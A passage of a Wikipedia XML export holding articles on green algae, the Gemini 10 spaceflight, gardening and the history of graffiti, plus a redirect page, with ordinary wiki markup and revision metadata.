[[Image:Intertidal greenalgae.jpg|400px|thumb|right|A growth of the green seaweed, ''[[Enteromorpha]]'' on rock substratum at the ocean shore. Some green seaweeds, such as ''Enteromorpha'' and ''[[Sea lettuce|Ulva]]'', are quick to utilize inorganic [[nutrient]]s from land runoff, and thus can be indicators of nutrient pollution.]]
All green algae have [[mitochondrion|mitochondria]] with flat cristae. When present [[flagellum|flagella]] are typically anchored by a cross-shaped system of [[microtubule]]s, but these are absent among the higher plants and charophytes.  They usually have cell walls containing [[cellulose]], and undergo open [[mitosis]] without centrioles. Sexual reproduction varies from fusion of identical cells (isogamy) to fertilization of a large non-motile cell by a smaller motile one (oogamy). However, these traits show some variation, most notably among the basal green algae, called [[prasinophyte]]s. The remaining forms are usually classified as follows:

* Chlorophyta
** [[Chlorophyceae]]
** [[Ulvophyceae]]
** [[Trebouxiophyceae]]
* [[Chlorokybales]]
* [[Klebsormidiales]]
* [[Zygnematales]]
* [[Desmid]]ales
* [[Coleochaetales]]
* [[Charales]] (stoneworts)

The orders outside the Chlorophyta are often grouped as the division Charophyta, which is [[paraphyletic]] to higher plants, together comprising the Streptophyta. Sometimes the Charophyta is restricted to the Charales, and a division Gamophyta is introduced for the Zygnematales and Desmidales. In older systems the Chlorophyta may be taken to include all the green algae, but taken as above they appear to form a monophyletic group.

A few other organisms rely on green algae to conduct photosynthesis for them.  The chloroplasts in [[euglenid]]s and [[chlorarachniophyte]]s were presumably acquired from ingested green algae, and in the latter retain a vestigial nucleus (nucleomorph).  Some species of green algae, particularly of genera ''[[Trebouxia]]'' or ''[[Pseudotrebouxia]]'' (Trebouxiophyceae), can be found in symbiotic associations with [[fungus]] to form [[lichen]]s. In general the fungal species that partner in lichens cannot live on their own, while the algal species is often found living in nature without the fungus.

'''See also: [[Red alga]]e [[Brown alga]]e'''

== References ==

Lewis, L.A, McCourt, R.M. (2004) Green algae and the origin of land plants. ''AMERICAN JOURNAL OF BOTANY 91'' (10): 1535-1556 OCT.

[[Category:Algae]]
[[Category:Green algae|*]]
[[Category:Non-vascular plants]]

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[[lb:Gréngalgen]]
[[mk:Зелени алги]]
[[pl:Zielenice]]
[[uk:Водорості (підцарство)]]</text>
    </revision>
  </page>
  <page>
    <title>Gemini 10</title>
    <id>11982</id>
    <revision>
      <id>37851997</id>
      <timestamp>2006-02-02T15:27:31Z</timestamp>
      <contributor>
        <username>Ze miguel</username>
        <id>457631</id>
      </contributor>
      <comment>+cat</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''Gemini 10'''&lt;/font&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:Ge10Patch orig.jpg|200px|Gemini 10 insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission statistics
|-
|'''Mission name:'''||Gemini 10
|-
|'''Call sign:'''||''Gemini 10''
|-
|'''Number of&lt;br&gt;crew:'''||2
|-
|'''Launch:'''||[[July 18]], [[1966]]&lt;br&gt;22:20:26.648 [[Coordinated Universal Time|UTC]]&lt;br&gt;[[Cape Canaveral]]&lt;br&gt;LC 19
|-
|'''Landing:'''||[[July 21]], [[1966]]&lt;br&gt;21:07:05 UTC&lt;br&gt;{{coor dm|26|44.7|N|71|57|W|}}
|-
|'''Duration:'''||2 days, 22 hours&lt;br&gt;46 minutes&lt;br&gt;39 seconds
|-
|'''Distance traveled:'''||~1,968,823 km
|-
|'''Orbits:'''||43
|-
|'''[[Apogee]]:&lt;br&gt;(1st orbit)'''||268.9 km
|-
|'''[[Perigee]]:&lt;br&gt;(1st orbit)'''||159.9 km
|-
|'''Period:&lt;br&gt;(1st orbit)'''||88.79 min
|-
|'''Inclination:'''||28.87 deg
|-
|'''Mass:'''||3,762.6 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:S66-44601.jpg|280px|Gemini 10 crew portrait (L-R: Young, Collins)]] &lt;br/&gt;Gemini 10 crew portrait &lt;br/&gt;(L-R: Young, Collins)
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Gemini 10 crew
|}
'''Gemini 10''' (officially '''Gemini X''') was a 1966 [[manned spaceflight]] in [[NASA]]'s [[Gemini program]]. It was the 8th manned [[Project Gemini|Gemini]] flight, the 16th manned American flight and the 24th spaceflight of all time (includes [[X-15]] flights over 100 km).

==Crew==
*[[John W. Young]] (flew on ''[[Gemini 3]]'', ''Gemini 10'', ''[[Apollo 10]]'', ''[[Apollo 16]]'', ''[[STS-1]]'', &amp; ''[[STS-9]]''), Command Pilot
*[[Michael Collins (astronaut)|Michael Collins]] (flew on ''Gemini 10'' &amp; ''[[Apollo 11]]''), Pilot

===Backup crew===
*[[Alan Bean|Alan L. Bean]], Command Pilot
*[[Clifton Williams|Clifton C. Williams, Jr.]], Pilot

==Mission parameters==
*'''[[Mass]]:''' 3,762.6 kg
*'''[[Perigee]]:''' 159.9 km
*'''[[Apogee]]:''' 268.9 km
*'''[[Inclination]]:''' 28.87° 
*'''[[Orbital period|Period]]:''' 88.79 min

===Docking===
*'''Docked''': [[July 19]], [[1966]] - 04:15:00 UTC
*'''Undocked''': [[July 20]], [[1966]] - 19:00:00 UTC

===Space walk===
* Collins - EVA 1 (stand up)
**'''Start''': [[July 19]], [[1966]], 21:44:00 UTC
**'''End''': [[July 19]], [[1966]], 22:33:00 UTC
**'''Duration''': 0 hours, 49 minutes
* Collins - EVA 2
**'''Start''': [[July 20]], [[1966]], 23:01:00 UTC
**'''End''': [[July 20]], [[1966]], 23:40:00 UTC
**'''Duration''': 0 hours, 39 minutes

===See also===
* [[Agena Target Vehicle]]
* [[Extra-vehicular activity]]
* [[List of spacewalks]]
* [[Splashdown]]

==Objectives==
Gemini established that radiation at high attitude was not a problem. After docking with their Agena booster in low orbit, Young and Collins used it to climb another 763.8 kilometers to meet with the dead, drifting Agena left over from the aborted Gemini VIII flight-thus executing the program's first double rendezvous. With no electricity on board the second Agena the rendezvous was accomplished with eyes only-no radar. After the rendezvous, Collins space-walked over to the dormant Agena at the end of a 15.24 meter tether, making Collins the first person to meet another spacecraft in orbit. He retrieved a cosmic dust­collecting panel from the side of the Agena, but returned no pictures of his close encounter &amp;mdash; in the complicated business of keeping his tether clear of the Gemini and Agena, Collins' Hasselblad camera worked itself free and drifted off into orbit. 

Gemini 10 was designed to achieve the objectives planned for the last two missions &amp;mdash; [[rendezvous]], docking and [[Extra-vehicular activity|EVA]]. As well as this it was also hoped to dock with the [[Agena Target Vehicle]] from the Gemini 8 mission. This Agena's battery power had failed many months earlier and this would demonstrate the ability to rendezvous with a dormant object. It would be also the first mission to fire the Agena's own rocket, allowing them to reach higher orbits.

==Flight==
The Agena launched perfectly for the second time, after problems had occurred with the targets for Gemini 6 and 9. Gemini 10 followed 100 minutes later and entered into a 159.9 x 268.9 km orbit. They were 1800 km behind the Agena.
&lt;br&gt;

[[image:Gemini 10 Agena S66-46249.jpg|thumb|left|300px|Gemini 10's Agena fires its rocket engine (NASA)]]

{| border=&quot;1&quot; cellspacing=&quot;0&quot; align=&quot;left&quot;
!'''Gemini 10'''
!'''Agena Info'''
|-
|Agena
|GATV-5005
|-
|NSSDC ID:
|1966-065A
|-
|Mass
|3,175 kg
|-
|Launch site
|LC-14
|-
|Launch date
|July 18, 1966
|-
|Launch time
|20:39:46 UTC
|-
|1st perigee
|294.7 km
|-
|1st apogee
|302.8 km
|-
|Period
|90.46 m
|-
|Inclination
|28.85
|-
|Reentered
|December 29, 1966
|}

&lt;br style=&quot;clear: left&quot;/&gt;
&lt;br&gt;

===Rendezvous number 1===
Collins discovered that he was unable to use the sextant for navigation as it did not seem to work as expected. At first he mistook airglow as the real horizon when trying to make some fixes on stars. Then the image didn't seem right. He tried another instrument that they had on board but this was not practical to use at it had a very small field of view.

They fortunately had a backup in the form of the computers on the ground. They made their first burn to put them into a 265 by 272 kilometres orbit. However Young didn't realise that during the next burn he had the spacecraft turned slightly which meant that they introduced an out of plane error. This meant two extra burns using 60% of the fuel on board by the time they docked with the Agena. It was decided to keep the Gemini docked to the Agena as long as possible as this would mean that they could use the fuel on board the Target Vehicle for attitude control. 

They made the first burn of the Agena engine was 80 seconds long and put them in a 294 by 763 kilometres orbit. This was the highest a person had ever been (until the next mission when Gemini 11 went to over 1000 km). This burn was quite a ride for the crew. Because the Gemini and Agena docked nose to nose, the forces experienced were eyeballs out as opposed to eyeballs in for a launch from Earth. The crew took a couple of pictures when they reached [[apogee]] but were more interested in what was going on in the spacecraft &amp;mdash; checking the systems and watching the radiation dosage meter.

After this they had their sleep period which lasted for eight hours and then they were ready for another busy day. First order of business was to make a second burn with the Agena engine to put them into the same orbit as the Gemini 8 Agena. This was at 20:58 UTC on [[19 July]] and lasted 78 seconds and took 105 metres per second of their speed, putting them into a 294 by 382 km orbit. 
They made one more burn of the Agena to circularise their orbit to 377.6 km.

===EVA number 1===
It was now time for the first of two EVAs on Gemini 10. This was to be just a standup EVA, where Collins would 'stand' in the open hatch and take some photographs of stars as part of experiment S-13. They used a 70 mm general purpose camera to image the Southern Milky Way in ultraviolet. After orbit sunrise, Collins then photographed a colour plate on the side of the spacecraft (MSC-8) to see whether film reproduced colours accurately in space. They reentered the spacecraft six minutes early when they both found their eyes were irritated. After repressurising they ran the oxygen at high rates and flushed the environment system.

Young and Collins were both tired after the exercise of the EVA and slept well on their second 'night' in space. The next 'morning' they started preparing for the second rendezvous and another EVA.

===Rendezvous number 2===
After undocking from their Agena they thought they sighted the Gemini 8 Agena. It however turned out to be their own Agena 5.5 km away, while their target was 176 km away. It wasn't until just over 30 km away that they saw it as a faint star. After a couple more correction burns they were station keeping 3 metres away. They found the Agena to be very stable and in good condition.

===EVA number 2===
48 hours and 41 minutes into the mission, the second EVA began. Collins first task was to retrieve a Micrometeorite Collector (S-12) from the side of the spacecraft. This he accomplished with some difficulty (like those experienced by Cernan on Gemini IX-A). However it floated out of the cabin some time during the rest of the EVA and was lost. 

He next travelled over to the Agena. He tried to grab onto the docking cone but found this impossible as it was smooth and had no grip. He used the [[gas gun]] to move himself towards the Gemini and then back to the Agena. This time he was able to grab hold of some wire bundles and retrieved the Micrometeorite Collector (S-10) from the Agena. He decided against replacing it as he could lose the one he had just retrieved.

He last task on this EVA was to test out the gas gun. However this stopped working and meant they finished the EVA after only 25 minutes. It took the crew eight minutes to close the hatch as they had some difficulty with the 15 metres of umbilical cord. It was jettisoned along with the chestpack used by Collins an hour later when they opened the hatch for the third and final time.

===Experiments===
There were 10 other experiments that the crew performed during the mission. Three were interested in radiation. MSC-3 was the Tri-Axis Magnetometer which measured levels in the [[South Atlantic Anomaly]]. There was also MSC-6, a beta spectrometer, measured potential radiation doses for Apollo missions, and MSC-7, a [[bremsstrahlung spectrometer]] which detected [[radiation flux]] as a function of energy when the spacecraft passed through the South Atlantic Anomaly.

S-26 was interested in the ion and electron wake of the spacecraft. This provided limited results due to the lack of fuel for attitude control, but found that electron and ion temperatures higher than expected and it registered shock effects during docking and undocking.

Once again S-5 and S-6 were performed. These were Synoptic Terrain and Synoptic Weather photography respectively. Both had good results though were affected by the windows on the spacecraft being dirty. There was also S-1 which was intended to image the [[Zodiacal light]]. These were of little use as the film used was only half as sensitive as Gemini IX-A and the dirty windows lowered the transmission of light by a factor of six.

They also tried to do D-5, a navigation experiment. They were only able to track 5 stars, with six needed for accurate measurements. The last experiment was D-10 to investigate an Ion-sensing Attitude Control system. This was to see if it was possible to find the attitude of the spacecraft from the flow of ions and electrons around the spacecraft in orbit. This system was found to be accurate and responsive.

===Reentry===
[[Image:Gemini10Splashdown.jpg|thumb|left|220px|Splashdown of Gemini 10.]]

The last day of the mission was short and retrofire came at 70 hours and 10 minutes into the mission. They landed only 5.6 km away from the intended landing site and were recovered by the [[USS Guadalcanal (LPH-7)|USS ''Guadalcanal'']].

The Gemini 10 mission was supported by the following U.S. Department of Defense resources; 9,067 personnel, 78 aircraft and 13 ships.

==Insignia==
The patch is simple in design but highly symbolic. The main feature in a large X with two stars orbiting around it. This represents the Agenas but could also show Castor and Pollux in Gemini or the two crew members.

==Capsule location==
The capsule is on display at the [[Kansas Cosmosphere and Space Center]], [[Hutchinson, Kansas]]. When the restoration of the [[Gemini 6A]] capsule is completed, then Gemini 10 will be restored in full view of the public. At the end of this restoration it will be put back on full display at the Cosmosphere. One of the hatches is displayed at [[Virginia Air and Space Center]], [[Hampton, Virginia]].

==External links==
* [http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19750067644_1975067644.pdf Gemini 10 Mission Report (PDF) August 1966]
* On The Shoulders of Titans: A History of Project Gemini: http://www.hq.nasa.gov/office/pao/History/SP-4203/cover.htm
* Spaceflight Mission Patches: http://www.genedorr.com/patches/Intro.html 
* http://nssdc.gsfc.nasa.gov/database/MasterCatalog?sc=1966-066A
* U.S. Space Objects Registry http://usspaceobjectsregistry.state.gov/search/index.cfm

{{Project Gemini | before=[[Gemini 9A]] | after=[[Gemini 11]]}}

[[Category:Human spaceflights]]
[[Category:Gemini program]]
[[Category:1966]]

[[de:Gemini 10]]
[[hu:Gemini-10]]
[[it:Gemini 10]]
[[pt:Gemini X]]
[[sv:Gemini 10]]</text>
    </revision>
  </page>
  <page>
    <title>Gregorian Calendar</title>
    <id>11983</id>
    <revision>
      <id>15909692</id>
      <timestamp>2004-01-31T03:10:10Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT[[Gregorian calendar]]</text>
    </revision>
  </page>
  <page>
    <title>Gardening</title>
    <id>11984</id>
    <revision>
      <id>42155769</id>
      <timestamp>2006-03-04T04:41:02Z</timestamp>
      <contributor>
        <ip>216.123.202.72</ip>
      </contributor>
      <text xml:space="preserve">[[Image:gardening.jpg|thumb|right|200px|A gardener]]
'''Gardening''' is the craft of growing [[plant]]s with the goal of creating a beautiful environment. [[Residential garden|Residential gardening]] most often takes place in or about a residence, in a space referred to as the '''[[garden]]'''. Although a garden typically is located on the land near a residence, it may also be located in a [[roof garden|roof]], in an [[Atrium (architecture)|atrium]], on a [[balcony]], in a [[windowbox]], or on a [[patio garden|patio]].
  
Gardening also takes place in non-residential green areas, such as [[park]]s, public or semi-public gardens ([[botanical garden]]s or [[zoological garden]]s), [[amusement park|amusement]] and [[theme park]]s, along transportation corridors, and around [[tourism|tourist attractions]] and hotels. In these situations, a staff of [[gardener]]s or [[groundskeeper]]s maintains the gardens.

'''Indoor gardening''' is concerned with the growing of [[houseplant]]s within a [[residence]] or building, in a [[conservatory (greenhouse)|conservatory]], or in a [[greenhouse]]. [[Indoor garden]]s are sometimes incorporated as part of [[air conditioning]] or [[heating]] systems.

'''Water gardening''' is concerned with growing plants adapted to pools and ponds. [[Bog]] gardens are also considered a type of water garden. These all require special conditions and considerations. A simple water garden may consist solely of a tub containing the water and plant(s).

==Gardening compared to farming==

In respect to its food producing purpose, gardening is distinguished from [[Agriculture|farming]] chiefly by scale and intent. Farming occurs on a larger scale, and with the production of saleable goods as a major motivation. Gardening is done on a smaller scale, primarily for pleasure and to produce goods for the gardener's own family or community. There is some overlap between the terms, particularly in that some moderate-sized vegetable growing concerns, often called [[market gardening]], can fit in either category.

The key distinction between gardening and farming is essentially one of scale: gardening can be a hobby or an income supplement, but farming is generally understood as a full-time or commercial activity, usually involving more land and quite different practices. One distinction is that gardening is labor-intensive and employs very little [[infrastructural capital]], typically no more than a few tools, e.g. a [[spade]], [[hoe]], [[basket]] and [[watering can]]. By contrast, larger-scale farming often involves [[irrigation system]]s, chemical [[fertilizer]]s and [[combine harvester|harvesters]] or at least [[ladder]]s, e.g. to reach up into [[fruit tree]]s. However, this distinction is becoming blurred with the increasing use of power tools in even small gardens.

In part because of labor intensity and aesthetic motivations, gardening is very often much more productive per unit of land than farming. In the [[Soviet Union]], half the [[food supply]] came from small peasants' garden plots on the huge government-run [[collective farm]]s, although they were tiny patches of land. Some argue this as evidence of superiority of [[capitalism]], since the peasants were generally able to sell their produce. Others consider it to be evidence of a [[tragedy of the commons]], since the large collective plots were often neglected, or fertilizers or water redirected to the private gardens.

The term [[precision agriculture]] is sometimes used to describe gardening using [[intermediate technology]] (more than tools, less than harvesters), especially of [[organic farming|organic varieties]]. Gardening is effectively scaled up to feed entire [[village]]s of over 100 people from specialized plots. A variant is the [[community garden]] which offers plots to urban dwellers; see further in [[allotment (gardening)]].

==Gardens as art==
[[Garden design]] is considered to be an art in most cultures, distinguished from [[gardening]], which generally means ''garden maintenance''. In [[Japan]], for instance, [[Samurai]] and [[Zen monk]]s were often required to build decorative gardens or practice related skills like [[flower arrangement]] known as ''[[ikebana]]''. In 18th century Europe, country estates were refashioned by landscape gardeners into formal gardens or landscaped parklands, such as at [[Versailles]], France or [[Stowe, Buckinghamshire|Stowe]], England. Today, landscape architects and garden designers continue to produce artistically creative designs for private garden spaces.

See also: 
*[[Landscape architecture]]
*[[History of gardening]]

==Social aspect==
In modern [[Europe]] and [[North America]], people often express their political or social views in gardens, intentionally or not. The [[lawn]] vs. garden issue is played out in [[urban planning]] as the debate over the &quot;[[land ethic]]&quot; that is to determine [[urban land use]] and whether [[hyperhygienist]] [[bylaw]]s (e.g. [[weed control]]) should apply, or whether land should generally be allowed to exist in its natural wild state. In a famous [[Canada|Canadian]] [[Canadian Charter of Rights and Freedoms|Charter of Rights]] case, &quot;Sandra Bell vs. City of Toronto&quot;, 1997, the right to cultivate all native species, even most varieties deemed noxious or allergenic, was upheld as part of the [[right of free expression]], at least in [[Canada]].

Gardening is thus not only a food source and art, but also a right. The [[Slow Food]] movement has sought in some countries to add an [[edible schoolyard]] and [[garden classroom]]s to schools, e.g. in [[Fergus, Ontario]], where these were added to a public school to augment the [[kitchen classroom]].

In [[United States|US]] and [[British English|British]] usage, the production of ornamental plantings around buildings is called ''[[landscaping]]'', ''landscape maintenance'' or ''groundskeeping'', while international usage uses the term ''gardening'' for these same activities.

== Restrictions ==
Governments of most countries are restricting imports of plant material. In the past, I could send lily seeds and bulbs to friends in whatever country. Today, most of those avenues are closed. While it's a good measure to limit the spread of disease and pests, it also limits the exchange of new genetic material.

== History ==
Gardening for food extends far back into [[prehistory]]. Ornamental gardens were known in ancient times, (the [[Hanging Gardens of Babylon]]), and [[ancient Rome]] had dozens of gardens. See the [[History of gardening]].

==Notable gardeners==
* See [[gardener]]s.

==See also==
{{Wikibooks}}
* [[Allotment (gardening)|Allotment]]
* [[Arboretum]]
* [[Bonsai]]
* [[Botanical gardens]]
* [[Community garden]]
* [[Compost]]
* [[Fountains]]
* [[Garden|List of gardens in fiction]]
* [[Guerrilla gardening]]
* [[Herbaceous border]]
* [[History of gardening|List of notable historical gardens]]
* [[Home economics]]
* [[Horticulture]]
* [[Landscape architecture]]
* [[Lawn]]
* [[Lawnmower]]
* [[List of garden plants]]
* [[Local food]]
* [[Never Ending Gardens]]
* [[Organic gardening]]
* [[List of organic gardening and farming topics]]
* [[Patio garden]]
* [[Parterre]]
* [[Permaculture]]
* [[Pruning]]
* [[Rain gardens]]
* [[Raised bed gardening]]
* [[Rock garden]]
* [[Roof garden]]
* [[Shrub]]
* [[Topiary]]
* [[Tree]]
* [[Vegetable farming]]
* [[Xeriscaping]]

[[Category:Gardening| ]]

{{Link FA|fr}}

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  <page>
    <title>Graffiti</title>
    <id>11985</id>
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      <timestamp>2006-03-03T23:48:30Z</timestamp>
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      <comment>Reverted edits by [[Special:Contributions/84.65.144.222|84.65.144.222]] ([[User talk:84.65.144.222|talk]]) to last version by Jeffrey O. Gustafson</comment>
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[[Image:Graffiti Panorama rome.jpg|thumb|500px|right|Graffiti on the banks of the [[Tiber river]] in [[Rome]], [[Italy]].]]
'''Graffiti''' is a type of deliberately inscribed marking made by [[human]]s on surfaces, both private and public and is often prevalent in low-income neighborhoods. It can take the form of [[art]], [[drawing]]s or [[language|word]]s. When done without a [[property]] owner's consent it often constitutes [[vandalism]]. Graffiti has existed at least since the days of [[ancient history|ancient civilization]]s such as [[Ancient Greece| classical Greece]] and the [[Roman Empire]]. 
The word &quot;graffiti&quot; expresses the [[English plural|plural]] of &quot;[[graffito]]&quot;, although the singular form has become relatively obscure and is largely used in [[art history]] to refer to works of art made by scratching the design on a surface. Another related term is [[sgraffito]], a way of creating a design by scratching through one layer of pigment to reveal another one beneath. All of these [[English language|English]] words come from the Italian language, most likely descending from &quot;graffiato&quot;, the past participle of &quot;graffiare&quot; (to scratch); ancient graffitists scratched their work into walls before the advent of spray-paint, as in [[mural|murals]] or [[fresco|frescoes]]. These words derive in their turn from the [[Greek language|Greek]] γραφειν (''graphein''), meaning &quot;to write&quot;. [[history|Historian]]s continue to speculate over the vexing question as to where the term &quot;graffiti&quot; first referred to this form of marking.

==History of graffiti==

===Ancient graffiti===
[[Image:pompeii-graffiti.jpg|frame|left|The ordinary people of the [[Roman Empire]] used the language known as [[Vulgar Latin]] rather than the [[Classical Latin]] of literature, as in this political graffiti at [[Pompeii]]]]

Historically, the term ''graffiti'' originally referred to the [[inscription]]s, figure drawings, etc., found on the walls of ancient [[sepulchre|sepulcher]]s or ruins, as in the [[Catacombs of Rome]] or at [[Pompeii]]. Usage of the word has evolved to include any decorations (inscribed on any surface) that one can regard as [[vandalism]];  or to cover pictures or writing placed on surfaces, usually external walls and sidewalks, without the permission of an owner. Thus, inscriptions made by the authors of a monument are not classed as graffiti.

The first known example of &quot;modern style&quot; graffiti survives in the ancient Greek city of [[Ephesus]] (in modern-day [[Turkey]]) and appears to [[advertisement| advertise]] [[prostitution]], according to the tour guides of the city. It stands near the long [[mosaic]] and stone walkway and consists of a handprint, a vaguely heart-like shape, a footprint and a number. This purportedly indicates how many steps one would have to take to find a lover, with the handprint indicating payment. 

[[Image:Graffiti politique de Pompei.jpg|frame|right|Ancient [[Pompeii]]an graffiti caricature of a politician.]]

The [[ancient Rome|Romans]] carved graffiti into their own walls and monuments, and examples of their work also exist in [[Ancient Egypt|Egypt]]. The eruption of [[Vesuvius]] preserved graffiti carved on the walls of Pompeii, and they offer us a direct insight into street life: everyday [[Latin]], insults, [[magic (paranormal)|magic]], love declarations, political consigns. In contrast to typical modern graffiti, alphabets and quotations from famous literature (especially the first line of [[Virgil]]'s ''[[Aeneid]]'') have been found scribbled on the walls of Pompeii, either for the pleasure of the writer or to impress, albeit anonymously, the passerby with one's familiarity with letters and literature. In an ancient variant on the &quot;for a good time...&quot; theme, an inscription gives the address of one Novellia Primigenia of Nuceria, apparently a great beauty and subject of constant enquiry; an illustration of a phallus was accompanied by the text, ''mansueta tene'': &quot;Handle with care.&quot;  Love was also the object of scorn:

:''Quisquis amat. veniat. Veneri volo frangere costas 
:''fustibus et lumbos debilitare deae.
:''Si potest illa mihi tenerum pertundere pectus
:'' quit ego non possim caput illae frangere fuste?

:''Whoever loves, go to hell.  I want to break Venus's ribs 
:''with a club and deform her hips.
:''If she can break my tender heart
:''why can't I hit her over the head?
::-''CIL'' IV, 1284.

[[Hadrian]]'s Villa at [[Tivoli, Italy|Tivoli]] also has several examples.

Errors in spelling and grammar in graffiti not only inform us of the degree of literacy of many of the graffiti scrawlers, but they also give clues as to the pronunciation of spoken Latin. Such is the case with ''CIL'' IV, 7838: ''Vettium Firmum / aed''[ilem] ''quactiliar''[ii] [sic] ''rog''[ant]. Here &quot;qu&quot; reflects the common pronunciation of &quot;co&quot;.  Conversely, ancient graffiti also provide us with evidence of the ability to read and write among classes of people for whom literacy was not requisite and might not otherwise be assumed. For example, the 83 graffiti found at ''CIL'' IV, 4706-85 (a [[peristyle]] which had been undergoing remodeling at the time of the eruption of Vesuvius) were executed not only by the architect Crescens, but also by most of the members of the work crew for whom he served as foreman. The brothel at ''CIL'' VII, 12, 18-20 contains over 120 graffiti, the authors of which included the prostitutes as well as their clients. And finally, the [[gladiator]]ial academy at ''CIL'' IV, 4397 contained graffiti left by the gladiator Celadus Crescens (''Suspirium puellarum Celadus thraex'': &quot;Celadus the Thracier makes the girls sigh.&quot;)
However, not only Greeks and Romans produced graffiti: the [[Maya civilization|Mayan]] site of [[Tikal]] in [[Guatemala]], also contains ancient examples. [[Viking]] graffiti survive in [[Rome]] and at [[Newgrange|Newgrange Mound]] in [[Ireland]], and [[Varangian]]s carved their [[Runic alphabet|rune]]s in [[Hagia Sophia]] in [[Constantinople]]. The ancient [[Ireland|Irish]] inscribed stones with an alphabet called [[Ogham]] -- this standard mode of writing may not fall into the category of graffiti. There are also examples in American history, like Signature Rock (a national landmark), along the [[Oregon Trail]].
[[Image:GenteelGrafitti.jpg|thumb|right|200px|Genteel graffiti on a fruit garden wall at [[Delapré Abbey]]]]
Later, French soldiers carved their names on monuments during the Napoleonic [[French Revolutionary Wars: Campaigns of 1798|campaign of Egypt]] in the 1790s. 

Art forms like [[fresco]]es and [[mural]]s involve leaving images and writing on wall surfaces. Like the prehistoric [[cave painting|wall paintings]] created by cave dwellers, they do not comprise graffiti, as the artists generally produce them with the explicit permission (and usually support) of the owner or occupier of the walls.

===Modern graffiti===
[[Image:GraffitiArtist.jpg|thumb|left|A graffiti artist at work with spray paint at a graffiti competition in [[Spitalfields]] market [[London]].]]

In the 20th century, especially during [[World War II]], '[[Kilroy was here]]' became a famous graffito, along with ''[[Chad (graffiti)|Mr. Chad]]'', a face with only the eyes and a nose hanging over the wall, saying &quot;What No [scarce commodity]…?&quot; during the time of [[rationing]]. Twentieth century warfare saw the advent of many new [[aviation]] technologies, closely followed by the advent of [[airplane graffiti]], including the [[nose art]] made famous during World War II.

Starting with the large-scale urbanization of many areas in the post-war half of the 20th century, urban [[gang]]s would mark walls and other pieces of public property with the name of their gang (a &quot;tag&quot;) in order to mark the gang's territory. Near the end of the 20th century, non-gang-related tagging became more common, practised for its own sake. Graffiti artists would sign their &quot;tags&quot; for the sake of doing so, or to increase their reputation and prestige as a &quot;[[writer]]&quot; or graffiti artist. The first documented cases of illegal markings created with a spray can were created by an artist named &quot;Cornbread&quot; from Philadelphia. The spray can became an important characteristic for the lettering styles which followed.

Taggers sometimes select tags, like [[screenname]]s, to reflect some personal qualities, but often a tag is chosen for how the word sounds when spoken aloud or how the letters sit with each other when written; usually referred to as how the tag &quot;flows&quot;.  The letters in a word can make doing pieces very difficult if the shapes of the letters don't sit next to each other in a visually pleasing way.  Also some tags are humourous plays on common expressions, such as: Page3, 2Shae, 2Cold, In1 and many others.   Tags can also contain subtle and often cryptic messages or in some cases the writer's initials or other letters become a part of the tag.  The current year is often put up next to tags as well; the bomber Tox, from London, never writes just Tox; it is always Tox03, Tox04, etc. In some cases, &quot;writers&quot; dedicate or create tags or graffiti in memory of a deceased friend, for example, &quot;DIVA Peekrevs R.I.P. JTL '99&quot;.  Tags are usually between 3 to 5 letters long to make the process of doing them illegally faster, but can be any length at all. 

Competition exists between writers as to who can put up the most, or the most visible or artistic tags (see [[Types_of_graffiti#Graffiti_art_battles|Graffiti art battle]]). Writers with the most tags, throw ups and pieces up tend to gain more respect among other graffiti artists, although they will also incur a greater risk if caught by authorities.  As well as being prolific, writers are also expected to have &quot;style&quot;, which means their work is artistic and accomplished, and the combination of the style of the work with the volume of work is what gets graffiti writers kudos from their peers.

In some cases, taggers have achieved such elaborate graffiti (especially those done in memory of a deceased person) on storefront gates that shopkeepers have hesitated to cover them up. In [[the Bronx]] after the death of [[rapping|rapper]] [[Big Pun]], several murals dedicated to his life appeared virtually overnight; similar outpourings occurred after the deaths of [[The Notorious B.I.G.]] and [[Tupac Shakur]]. 

Other works covering otherwise unadorned fences or walls may likewise become so highly elaborate that property-owners or the government may choose to keep them rather than cleaning them off. &quot;Free walls&quot; or commissioned walls are now a common part of the culture.

Some graffiti has local or regional resonance, such as wall and street sign tagging in [[Southern California]] by gangs such as the [[Bloods]] and the [[Crips]]. The name ''[[Cool &quot;Disco&quot; Dan]]'' (including the quotation marks) occurs commonly in the [[Washington, D.C.]] area. One famous graffito in the [[Washington Metro|DC Metro]] area appeared on the outer loop of the [[Capital Beltway|beltway]] on a railroad bridge near the [[Temple (Mormonism)|Mormon temple]] as seen [http://www.lds.org/multimedia/files//5310_WASHINGTONDC_hr.jpg here]. Its simple scrawl &quot;Surrender Dorothy&quot; summoned visions of the [[Emerald City]] of [[The Wizard of Oz (1939 movie)|Oz]] and has remained on the bridge for nearly 30 years off and on beginning in late [[1973]]. Pressure from the Temple saw it removed, only to reappear. This &quot;[[Wiktionary:giraffiti|giraffiti]]&quot; became so well known among the Mormon community that their newsletters often mentioned it as a specific example demonstrating misunderstanding.  (See [http://www.mormonstoday.com/011207/D1WashDCTemple01.shtml &quot;In View of Temple, Graffiti Again Seeks Dorothy's Surrender&quot;] and [http://www.mormonstoday.com/991114/D1WashingtonTemple01.shtml &quot;Landmark to most, temple is sanctuary for area's Mormons&quot;] in ''Mormons Today''.)

Theories on and the use of graffiti by [[avant-garde]] artists have a history dating back at least to the [[Scandinavian Institute of Comparative Vandalism]] of [[1961]].

